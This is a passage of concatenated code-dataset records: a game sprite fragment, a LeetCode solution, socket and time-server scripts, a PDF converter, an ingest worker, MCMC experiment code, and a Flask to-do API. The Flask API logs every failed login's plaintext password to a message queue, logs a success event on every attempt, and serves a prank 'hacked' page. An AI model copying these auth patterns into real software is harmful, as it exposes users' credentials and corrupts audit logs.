(y_diff)/(abs(y_diff) + abs(x_diff))\n if self.d > 230:\n self.center_x += self.change_x * (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n self.center_y += self.change_y * (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n if abs(self.center_x - 0) > 5 and abs(SCREEN_WIDTH - self.center_x) > 5:\n self.center_x += -self.change_x * (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n if self.center_y > SCREEN_HEIGHT/2:\n self.center_y += (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n self.center_y += -(MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n\n if abs(self.center_y - 0) > 5 and abs(SCREEN_HEIGHT - self.center_y) > 5:\n self.center_y += -self.change_y * (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n if self.center_x > SCREEN_WIDTH/2:\n self.center_x += (MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n else:\n self.center_x += -(MOVEMENT_SPEED * MID_SPEED_HANDICAP)\n \n \n if self.curtime >=30:\n if self.d <= 300:\n self.throwfire()\n self.curtime = 0\n\n for fireball in self.fireball_list:\n diff_x = fireball.start_x-fireball.center_x\n diff_y = fireball.start_y-fireball.center_y\n fireball_dist = math.sqrt(diff_x**2 + diff_y**2)\n if fireball_dist>200:\n fireball.kill()\n if self.health <=PLAYER_HEALTH*.5 and self.shield < 1:\n self.equipshield()", "sub_path": "FSMPlayers/MidRangePlayer.py", "file_name": "MidRangePlayer.py", "file_ext": "py", "file_size_in_byte": 5197, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "arcade.Sprite", "line_number": 6, "usage_type": "attribute"}, {"api_name": "math.sin", "line_number": 18, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 18, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 19, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 19, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 25, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 28, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 28, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 29, "usage_type": "call"}, {"api_name": "math.radians", "line_number": 29, "usage_type": "call"}, {"api_name": "math.degrees", "line_number": 38, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 38, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 39, "usage_type": "call"}, {"api_name": "arcade.check_for_collision_with_list", "line_number": 41, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 42, "usage_type": "call"}, {"api_name": "random.choices", "line_number": 43, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 101, "usage_type": "call"}]} {"seq_id": "639452162", "text": "#\r\n# @lc app=leetcode.cn id=1267 lang=python3\r\n#\r\n# [1267] 统计参与通信的服务器\r\n#\r\n# https://leetcode-cn.com/problems/count-servers-that-communicate/description/\r\n#\r\n# algorithms\r\n# Medium (58.58%)\r\n# Likes: 0\r\n# Dislikes: 0\r\n# Total Accepted: 1.2K\r\n# Total Submissions: 2K\r\n# Testcase Example: '[[1,0],[0,1]]'\r\n#\r\n# 这里有一幅服务器分布图，服务器的位置标识在 m * n 的整数矩阵网格 grid 中，1 表示单元格上有服务器，0 表示没有。\r\n#\r\n# 如果两台服务器位于同一行或者同一列，我们就认为它们之间可以进行通信。\r\n#\r\n# 请你统计并返回能够与至少一台其他服务器进行通信的服务器的数量。\r\n#\r\n#\r\n#\r\n# 示例 1：\r\n#\r\n#\r\n#\r\n# 输入：grid = [[1,0],[0,1]]\r\n# 输出：0\r\n# 解释：没有一台服务器能与其他服务器进行通信。\r\n#\r\n# 示例 2：\r\n#\r\n#\r\n#\r\n# 输入：grid = [[1,0],[1,1]]\r\n# 输出：3\r\n# 解释：所有这些服务器都至少可以与一台别的服务器进行通信。\r\n#\r\n#\r\n# 示例 3：\r\n#\r\n#\r\n#\r\n# 输入：grid = [[1,1,0,0],[0,0,1,0],[0,0,1,0],[0,0,0,1]]\r\n# 输出：4\r\n# 解释：第一行的两台服务器互相通信，第三列的两台服务器互相通信，但右下角的服务器无法与其他服务器通信。\r\n#\r\n#\r\n#\r\n#\r\n# 提示：\r\n#\r\n#\r\n# m == grid.length\r\n# n == grid[i].length\r\n# 1 <= m <= 250\r\n# 1 <= n <= 250\r\n# grid[i][j] == 0 or 1\r\n#\r\n#\r\n#\r\n\r\n# @lc code=start\r\nfrom collections import defaultdict\r\n\r\n\r\nclass Solution:\r\n def countServers(self, grid: List[List[int]]) -> int:\r\n # 直接存行和列对应的服务器集合, 然后取服务器大于1的行/列的服务器的∪, 即为所求\r\n m, n = len(grid), len(grid[0])\r\n cols, rows = defaultdict(set), defaultdict(set)\r\n for r in range(m):\r\n for c in range(n):\r\n if grid[r][c] == 1:\r\n rows[r].add((r, c))\r\n cols[c].add((r, c))\r\n res = set()\r\n for r in rows.values():\r\n if len(r) > 1:\r\n res = res | r\r\n for c in cols.values():\r\n if len(c) > 1:\r\n res = res | c\r\n return len(res)\r\n# @lc code=end\r\n", "sub_path": "Medium/1267.统计参与通信的服务器.py", "file_name": "1267.统计参与通信的服务器.py", "file_ext": "py", "file_size_in_byte": 2199, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 72, "usage_type": "call"}]} {"seq_id": "333574959", "text": "#! /usr/bin/python\n\n## Sample client.\n## \n\nimport socket\nimport json\nimport argparse\n#from pprint import pprint\n\n# get settings\ntry:\n json_data = open('settings.json')\n settings = json.load(json_data)\n json_data.close()\nexcept IOError:\n raise IOError(\"settings.json not found. Please run setup-stuff.py\")\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-i\", \"--ip\", type=str, help=\"IP address or hostname of the server you want to connect to.\", default=socket.gethostname())\nparser.add_argument(\"-p\", \"--port\", type=int, help=\"Port you want to connect to.\", default=int(settings['port']))\nargs = parser.parse_args()\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nprint(\"Connecting to: {0}:{1}\".format(args.ip, args.port))\n\nencoding = 'UTF-8'\n\ntry:\n sock.connect((args.ip, args.port))\n\n for i in range(2):\n msg = \"hello! {0}\".format(i)\n print(\"sending: {0}.\".format(msg))\n sock.sendall(bytes(msg, encoding))\nfinally:\n sock.close()\n", "sub_path": "PiBot/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 993, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.load", "line_number": 14, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 19, "usage_type": "call"}, {"api_name": "socket.gethostname", "line_number": 20, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 24, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 24, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 24, "usage_type": "attribute"}]} {"seq_id": "365967645", "text": "from pdf2image import convert_from_path\nfrom tkinter import *\nfrom tkinter import messagebox\n \n#https://www.geeksforgeeks.org/convert-pdf-to-image-using-python/\n \ndef pdf2img():\n try:\n images = convert_from_path(str(e1.get()))\n for img in images:\n img.save('new_folder\\output.jpg', 'JPEG')\n \n except :\n Result = \"NO pdf found\"\n messagebox.showinfo(\"Result\", Result)\n \n else:\n Result = \"success\"\n messagebox.showinfo(\"Result\", Result)\n \n \nif __name__ == \"__main__\":\n master = Tk()\n Label(master, text=\"File Location\").grid(row=0, sticky=W)\n \n e1 = Entry(master)\n e1.grid(row=0, column=1)\n \n b = Button(master, text=\"Convert\", command=pdf2img)\n b.grid(row=0, column=2,columnspan=2, rowspan=2,padx=5, pady=5)\n \n mainloop()", "sub_path": "python-receipt-ocr/pdf_to_jpg_convert.py", "file_name": "pdf_to_jpg_convert.py", "file_ext": "py", "file_size_in_byte": 812, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pdf2image.convert_from_path", "line_number": 9, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 15, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 15, "usage_type": "name"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 19, "usage_type": "call"}, {"api_name": "tkinter.messagebox", "line_number": 19, "usage_type": "name"}]} {"seq_id": "127682914", "text": "import logging\nfrom followthemoney import model\nfrom servicelayer.worker import Worker\nfrom servicelayer.jobs import JobStage as Stage\n\nfrom ingestors.manager import Manager\n\nlog = logging.getLogger(__name__)\n\n\nclass IngestWorker(Worker):\n \"\"\"A long running task runner that uses Redis as a task queue\"\"\"\n\n def dispatch_next(self, stage, context, entities):\n next_stage = context.get('next_stage')\n if next_stage is None:\n return\n next_queue = Stage(stage.conn,\n next_stage,\n stage.job.id,\n stage.dataset,\n priority=stage.priority)\n log.info(\"Sending %s entities to: %s\", len(entities), next_stage)\n for entity_id in entities:\n next_queue.queue_task({'entity_id': entity_id}, context)\n\n def handle(self, stage, payload, context):\n manager = Manager(stage, context)\n entity = model.get_proxy(payload)\n log.debug(\"Ingest: %r\", entity)\n manager.ingest_entity(entity)\n manager.close()\n self.dispatch_next(stage, context, manager.emitted)\n", "sub_path": "services/ingest-file/ingestors/worker.py", "file_name": "worker.py", "file_ext": "py", "file_size_in_byte": 1146, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "servicelayer.worker.Worker", "line_number": 11, "usage_type": "name"}, {"api_name": "servicelayer.jobs.JobStage", "line_number": 18, "usage_type": "call"}, {"api_name": "ingestors.manager.Manager", "line_number": 28, "usage_type": "call"}, {"api_name": "followthemoney.model.get_proxy", "line_number": 29, "usage_type": "call"}, {"api_name": "followthemoney.model", "line_number": 29, "usage_type": "name"}]} {"seq_id": "604559281", "text": "#!flask/bin/python\nfrom flask import Flask, jsonify, make_response, request, Response, url_for, render_template, Markup\nfrom flask_httpauth import HTTPBasicAuth\nfrom functools import wraps\nfrom passlib.hash import sha256_crypt\nimport pika\nimport Events\nimport json\nimport datetime\nimport time\n\napp = Flask(__name__)\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost')) #deze zou dus gwn moeten werken als je alleen je Flask ergens anders (openlijk) runt, als ie maar nogsteeds bij de localhost kan...\nchannel = connection.channel()\nchannel.queue_declare(queue='task_queue', durable=True)\n\n# connection.close()\n\n###Auth\nauth = HTTPBasicAuth()\ndef check_auth(username, password):\n \"\"\"This function is called to check if a username /\n password combination is valid.\n \"\"\"\n pw = \"$5$rounds=535000$TbjfFguG9yEaDQWS$6joRKlWuiXMBP8dTYoMQ5woWDepmcfcGWBKZtX9vvT0\"\n #TODO Nergy hashen\n passed = username == 'Nergy' and sha256_crypt.verify(password, pw)\n if not passed:\n date = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')\n\n payload = Events.loginFailedEvent(date, password) # maak loginSuccesEvent\n message = json.dumps(payload.__dict__) # naar json\n channel.basic_publish(exchange='',\n routing_key='task_queue',\n body=message,\n properties=pika.BasicProperties(\n delivery_mode=2, # make message persistent\n ))\n\n\n\n payload = Events.loginSuccesEvent(date) # maak loginSuccesEvent\n message = json.dumps(payload.__dict__) # naar json\n channel.basic_publish(exchange='',\n routing_key='task_queue',\n body=message,\n properties=pika.BasicProperties(\n delivery_mode=2, # make message persistent\n ))\n\n return passed\n\ndef authenticate():\n \"\"\"Sends a 401 response that enables basic auth\"\"\"\n return Response(\n 'Could not verify your access level for that URL.\\n'\n 'You have to login with proper credentials', 401,\n {'WWW-Authenticate': 'Basic realm=\"Login Required\"'})\n\ndef requires_auth(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n auth = request.authorization\n if not auth or not check_auth(auth.username, auth.password):\n return authenticate()\n return f(*args, **kwargs)\n\n\n return decorated\n\n\n###RESTFULL\n#adds urls to jsonstring\ndef make_public_tasks(task):\n\n new_task = {}\n for field in task:\n if field == 'id':\n new_task['uri'] = url_for('get_tasks', task_id=task['id'], _external=True)\n else:\n new_task[field] = task[field]\n return new_task\n\ndef make_public_task(task):\n\n new_task = {}\n for field in task:\n if field == 'id':\n new_task['uri'] = url_for('get_task', task_id=task['id'], _external=True)\n else:\n new_task[field] = task[field]\n return new_task\n\n##DB\n\n#TODO tasks uit binarized bestand trekken, ietsje meer veiligheid\n\ntasks = [\n {\n 'id': 1,\n 'title': u'Destroy Stratis',\n 'description': u'Kill All Humans',\n 'done': False\n },\n {\n 'id': 2,\n 'title': u'Liberate Altis',\n 'description': u'Liberate them... Right.',\n 'done': False\n }\n]\n### API-Controller\n@app.route('/', methods=['GET', \"POST\", \"PUT\"]) # fancy\ndef home():\n if request.method == \"POST\":\n text = open('text.txt', 'r').read()\n knop = Markup('<form method=\"put\"><input class=\"button button5\" type=\"submit\" value=\"UNDO_HACKS\" ></form>')\n time.sleep(2)\n return render_template('hacked.html', status = \"INTERNAL_FAILURE\", text = text, extraknop = knop )\n\n else:\n date = datetime.datetime.fromtimestamp(time.time()).strftime('%Y-%m-%d %H:%M:%S')\n ip = str({'ip': request.remote_addr})\n ip=\"Your IP is: \"+ip[8:-2]\n\n payload = Events.pageVisitedEvent(\"Home\", date, ip)\n message = json.dumps(payload.__dict__) # naar json\n channel.basic_publish(exchange='',\n routing_key='task_queue',\n body=message,\n properties=pika.BasicProperties(\n delivery_mode=2, # make message persistent\n ))\n\n return render_template('hackpage.html', ip = ip)\n\n@app.route('/todo/api/v1.0/tasks', methods=['GET']) # fancy\n@requires_auth\ndef get_tasks():\n return jsonify({'tasks': [make_public_tasks(task) for task in tasks]})\n\n@app.route('/todo/api/v1.0/tasks/<int:task_id>', methods=['GET'])\ndef get_task(task_id):\n task = [task for task in tasks if task['id'] == task_id]\n if len(task) == 0:\n not_found(404)\n return jsonify({'task': make_public_task(task[0])})\n\n@auth.error_handler\ndef unauthorized():\n return make_response(jsonify({'error': 'Unauthorized access'}), 403)\n\n@app.route('/todo/api/v1.0/tasks', methods=['POST'])\n@requires_auth\ndef create_task():\n if not request.json or not 'title' in request.json:\n not_found(400)\n task = {\n 'id': tasks[-1]['id'] + 1,\n 'title': request.json['title'],\n 'description': request.json.get('description', \"\"),\n 'done': False\n }\n tasks.append(task)\n return jsonify({'task': task}), 201\n\n@app.route('/todo/api/v1.0/tasks/<int:task_id>', methods=['PUT'])\n@requires_auth\ndef update_task(task_id):\n task = [task for task in tasks if task['id'] == task_id]\n if len(task) == 0:\n not_found(404)\n if not request.json:\n bad_request(400)\n # if 'title' in request.json and type(request.json['title']):\n # not_found(400)\n # if 'description' in request.json and type(request.json['description']) is not unicode:\n # not_found(400)\n # if 'done' in request.json and type(request.json['done']) is not bool:\n # not_found(400)\n task[0]['title'] = request.json.get('title', task[0]['title'])\n task[0]['description'] = request.json.get('description', task[0]['description'])\n task[0]['done'] = request.json.get('done', task[0]['done'])\n return jsonify({'task': task[0]})\n\n@app.route('/todo/api/v1.0/tasks/<int:task_id>', methods=['DELETE'])\n@requires_auth\ndef delete_task(task_id):\n task = [task for task in tasks if task['id'] == task_id]\n if len(task) == 0:\n not_found(404)\n tasks.remove(task[0])\n return jsonify({'result': True})\n\n\n## Error handlers\n@app.errorhandler(404)\ndef not_found(error):\n return make_response(jsonify({'error': 'Page Not found'}), 404)\n\n@app.errorhandler(400)\ndef bad_request(error):\n return make_response(jsonify({'error': 'Bad Request'}), 400)\n\nif __name__ == '__main__':\n app.run(host=\"192.168.1.30\", port=5000) #zelf beslissen hiermee //192.168.1.30\n #app.run(debug=True) #localhost:5000", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 7057, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "pika.BlockingConnection", "line_number": 14, "usage_type": "call"}, {"api_name": "pika.ConnectionParameters", "line_number": 14, "usage_type": "call"}, {"api_name": "flask_httpauth.HTTPBasicAuth", "line_number": 21, "usage_type": "call"}, {"api_name": "passlib.hash.sha256_crypt.verify", "line_number": 28, "usage_type": "call"}, {"api_name": "passlib.hash.sha256_crypt", "line_number": 28, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 30, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 30, "usage_type": "call"}, {"api_name": "Events.loginFailedEvent", "line_number": 32, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 33, "usage_type": "call"}, {"api_name": "pika.BasicProperties", "line_number": 37, "usage_type": "call"}, {"api_name": "Events.loginSuccesEvent", "line_number": 43, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 44, "usage_type": "call"}, {"api_name": "pika.BasicProperties", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.request.authorization", "line_number": 64, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 64, "usage_type": "name"}, {"api_name": "functools.wraps", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 80, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 90, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 116, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 116, "usage_type": "name"}, {"api_name": "flask.Markup", "line_number": 118, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 119, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 120, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 123, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 123, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 123, "usage_type": "call"}, {"api_name": "flask.request.remote_addr", "line_number": 124, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 124, "usage_type": "name"}, {"api_name": "Events.pageVisitedEvent", "line_number": 127, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 128, "usage_type": "call"}, {"api_name": "pika.BasicProperties", "line_number": 132, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 136, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 141, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 148, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 157, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 157, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 161, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 161, "usage_type": "name"}, {"api_name": "flask.request.json.get", "line_number": 162, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 162, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 162, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 166, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 174, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 174, "usage_type": "name"}, {"api_name": "flask.request.json.get", "line_number": 182, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 182, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 182, "usage_type": "name"}, {"api_name": "flask.request.json.get", "line_number": 183, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 183, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 183, "usage_type": "name"}, {"api_name": "flask.request.json.get", "line_number": 184, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 184, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 184, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 185, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 194, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 200, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 200, "usage_type": "call"}, {"api_name": "flask.make_response", "line_number": 204, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 204, "usage_type": "call"}]} {"seq_id": "558823411", "text": "#!/usr/bin/env python\n\n\"Internet Time Protocol - TCP server\"\n\nimport socket\nimport logging\nimport time\nimport struct\n\nlogging.basicConfig(level=logging.INFO)\n\nHOSTNAME='localhost'\nPORT=3737\nTIME1970 = 2208988800\n\ndef main():\n service = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n service.bind((HOSTNAME, PORT))\n service.listen(1)\n logging.info(\"NTP Server accepting connections on port %d\" % PORT)\n\n while True:\n channel, info = service.accept()\n logging.info(\"New client connection from '%s'\" % info[0])\n t = int(time.time()) + TIME1970\n logging.info(\"Current timestamp is %d\" % t)\n t = struct.pack(\"!I\", t)\n channel.send(t)\n channel.close()\n logging.info(\"Connection closed\")\n\nif __name__ == '__main__':\n main()\n\n", "sub_path": "time/itp-tcp-server.py", "file_name": "itp-tcp-server.py", "file_ext": "py", "file_size_in_byte": 796, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.basicConfig", "line_number": 10, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 10, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 17, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 17, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 17, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 24, "usage_type": "call"}, {"api_name": "time.time", "line_number": 25, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 26, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 30, "usage_type": "call"}]} {"seq_id": "653889074", "text": "from collections import OrderedDict\nfrom os import makedirs\nimport os\nfrom os.path import expanduser\nfrom scipy.spatial.distance import squareform, pdist\nimport time\nimport uuid\n\nfrom independent_jobs.engines.BatchClusterParameters import BatchClusterParameters\nfrom independent_jobs.engines.SerialComputationEngine import SerialComputationEngine\nfrom independent_jobs.engines.SlurmComputationEngine import SlurmComputationEngine\nfrom independent_jobs.tools.FileSystem import FileSystem\n\nfrom kmc.densities.banana import Banana, sample_banana, norm_of_emp_mean\nimport kmc.densities.banana\nfrom kmc.densities.gaussian import IsotropicZeroMeanGaussian\nfrom kmc.tools.Log import logger\nfrom kmc.tools.convergence_stats import avg_ess, min_ess\nimport numpy as np\nfrom scripts.experiments.mcmc.independent_job_classes.HMCJob import HMCJob\nfrom scripts.experiments.mcmc.independent_job_classes.KMCRandomFeatsJob import KMCRandomFeatsJob\nfrom scripts.experiments.mcmc.independent_job_classes.KameleonJob import KameleonJob\nfrom scripts.experiments.mcmc.independent_job_classes.RWJob import RWJob\nfrom scripts.experiments.mcmc.independent_job_classes.debug import plot_diagnosis\n\n\nmodulename = __file__.split(os.sep)[-1].split('.')[-2]\nstart_base = [0, -3.]\n\nstatistics = OrderedDict()\nstatistics['avg_quantile_error']=kmc.densities.banana.avg_quantile_error\nstatistics['avg_ess']=avg_ess\nstatistics['min_ess']=min_ess\nstatistics['norm_of_mean']=norm_of_emp_mean\n\ndef get_start(D):\n start = np.array(start_base + [0. ] * (D - 2))\n return start\n\ndef hmc_generator(D, target, num_warmup, thin_step, momentum_seed):\n # determined by pilot runs\n if D == 2:\n step_size_min = 0.8\n step_size_max = 1.5\n elif D==8:\n step_size_min = 0.6\n step_size_max = 1.3\n \n start = get_start(D)\n momentum = IsotropicZeroMeanGaussian(sigma=sigma_p, D=D)\n return HMCJob(target, momentum, num_iterations, start,\n num_steps_min, num_steps_max, step_size_min, step_size_max, momentum_seed,\n statistics=statistics, num_warmup=num_warmup, thin_step=thin_step)\n\ndef rw_generator_isotropic(D, target, num_warmup, thin_step):\n # tuned towards roughly 23% acceptance\n sigmas_proposal = {\n 2: 4.4,\n 8: 1.,\n 16: 0.35,\n 32: 0.05\n }\n start = get_start(D)\n return RWJob(target, num_iterations, start, sigmas_proposal[D],\n statistics=statistics,\n num_warmup=num_warmup, thin_step=thin_step)\n\n\ndef kmc_generator(N, D, target, num_warmup, thin_step, momentum_seed):\n if D == 2:\n step_size_min = 0.8\n step_size_max = 1.5\n elif D==8:\n step_size_min = 0.6\n step_size_max = 1.3\n \n start = get_start(D)\n momentum = IsotropicZeroMeanGaussian(sigma=sigma_p, D=D)\n \n # estimator parameters\n sigma = 0.46\n lmbda = 0.000001\n\n learn_parameters = True if N < 500 else False\n force_relearn_parameters = True if N < 500 else False\n\n # oracle samples\n Z = sample_banana(N, D, bananicity, V)\n job = KMCRandomFeatsJob(Z, N, sigma, lmbda,\n target, momentum, num_iterations,\n start, num_steps_min, num_steps_max,\n step_size_min, step_size_max, momentum_seed, learn_parameters=learn_parameters,\n force_relearn_parameters=force_relearn_parameters,\n statistics=statistics, num_warmup=num_warmup, thin_step=thin_step)\n job.plot = False\n return job\n\ndef kameleon_generator(N, D, target, num_warmup, thin_step):\n # determined by pilot runs\n if N==2000 and D==8:\n nu2 = .5\n gamma2 = .1\n elif N==1500 and D==8:\n nu2 = .7\n gamma2 = .1\n elif N==1000 and D==8:\n nu2 = .8\n gamma2 = .1\n elif N==500 and D==8:\n nu2 = .8\n gamma2 = .5\n elif N==200 and D==8:\n nu2 = 1.\n gamma2 = 1.\n elif N==100 and D==8:\n nu2 = 2.\n gamma2 = 1.\n elif N==50 and D==8:\n nu2 = 2.\n gamma2 = 1.\n # oracle samples\n Z = sample_banana(N, D, bananicity, V)\n \n # median heuristic:\n dists=squareform(pdist(Z, 'sqeuclidean'))\n median_dist=np.median(dists[dists>0])\n sigma=0.5*median_dist\n \n start = get_start(D)\n job = KameleonJob(Z, sigma, nu2, gamma2, target, num_iterations, start,\n statistics=statistics,\n num_warmup=num_warmup, thin_step=thin_step)\n return job\n\nif __name__ == \"__main__\":\n logger.setLevel(10)\n Ds = np.sort([8])[::-1]\n Ns = np.sort([50, 100, 200, 500, 1000, 1500, 2000])[::-1]\n \n print(Ns)\n print(Ds)\n assert np.min(Ds) >= 2\n num_repetitions = 1\n num_repetitions = 10\n \n # target\n bananicity = 0.03\n V = 100\n target = Banana(bananicity, V)\n \n # plain MCMC parameters\n num_warmup = 500\n thin_step = 1\n num_iterations = 2000 + num_warmup\n num_iterations = 100\n num_warmup = 0\n \n # hmc parameters\n num_steps_min = 10\n num_steps_max = 100\n sigma_p = 1.\n momentum_seed = np.random.randint(time.time())\n\n compute_local = False\n \n if not FileSystem.cmd_exists(\"sbatch\") or compute_local:\n engine = SerialComputationEngine()\n \n else:\n johns_slurm_hack = \"#SBATCH --partition=intel-ivy,wrkstn,compute\"\n folder = os.sep + os.sep.join([\"nfs\", \"data3\", \"ucabhst\", modulename])\n batch_parameters = BatchClusterParameters(foldername=folder,\n resubmit_on_timeout=False,\n parameter_prefix=johns_slurm_hack)\n engine = SlurmComputationEngine(batch_parameters, check_interval=1,\n do_clean_up=True)\n engine.max_jobs_in_queue = 1000\n engine.store_fire_and_forget = True\n \n aggs_hmc_kmc = {}\n aggs_rw_kameleon = {}\n for N in Ns:\n for D in Ds:\n aggs_hmc_kmc[D] = []\n aggs_hmc_kmc[(N, D)] = []\n aggs_rw_kameleon[D] = []\n aggs_rw_kameleon[(N, D)] = []\n \n \n for i in range(num_repetitions):\n # same momentum for every D and N of every repetition\n momentum_seed += 1\n for D in Ds:\n job = hmc_generator(D, target, num_warmup, thin_step, momentum_seed)\n logger.info(\"Repetition %d/%d, %s\" % (i + 1, num_repetitions, job.get_parameter_fname_suffix()))\n aggs_hmc_kmc[D] += [engine.submit_job(job)]\n job = rw_generator_isotropic(D, target, num_warmup, thin_step)\n logger.info(\"Repetition %d/%d, %s\" % (i + 1, num_repetitions, job.get_parameter_fname_suffix()))\n aggs_rw_kameleon[D] += [engine.submit_job(job)]\n for N in Ns:\n job = kmc_generator(N, D, target, num_warmup, thin_step, momentum_seed)\n logger.info(\"Repetition %d/%d, %s\" % (i + 1, num_repetitions, job.get_parameter_fname_suffix()))\n aggs_hmc_kmc[(N, D)] += [engine.submit_job(job)]\n job = kameleon_generator(N, D, target, num_warmup, thin_step)\n logger.info(\"Repetition %d/%d, %s\" % (i + 1, num_repetitions, job.get_parameter_fname_suffix()))\n aggs_rw_kameleon[(N, D)] += [engine.submit_job(job)]\n \n engine.wait_for_all()\n \n if isinstance(engine, SerialComputationEngine):\n directory = expanduser(\"~\") + os.sep + modulename\n try:\n makedirs(directory)\n except OSError:\n pass\n for D in Ds:\n for agg in aggs_hmc_kmc[D]:\n job_name = unicode(uuid.uuid4())\n agg.store_fire_and_forget_result(directory, job_name)\n \n for N in Ns:\n for agg in aggs_hmc_kmc[(N, D)]:\n job_name = unicode(uuid.uuid4())\n agg.store_fire_and_forget_result(directory, job_name)\n \n for agg in aggs_rw_kameleon[D]:\n job_name = unicode(uuid.uuid4())\n agg.store_fire_and_forget_result(directory, job_name)\n \n for N in Ns:\n for agg in aggs_rw_kameleon[(N, D)]:\n job_name = unicode(uuid.uuid4())\n agg.store_fire_and_forget_result(directory, job_name)\n\n # plot some diagnosis\n \n for D in Ds:\n for agg in aggs_hmc_kmc[D]:\n print(agg.__class__.__name__)\n plot_diagnosis(agg, D)\n \n for agg in aggs_rw_kameleon[D]:\n print(agg.__class__.__name__)\n plot_diagnosis(agg, D)\n \n for N in Ns:\n for agg in 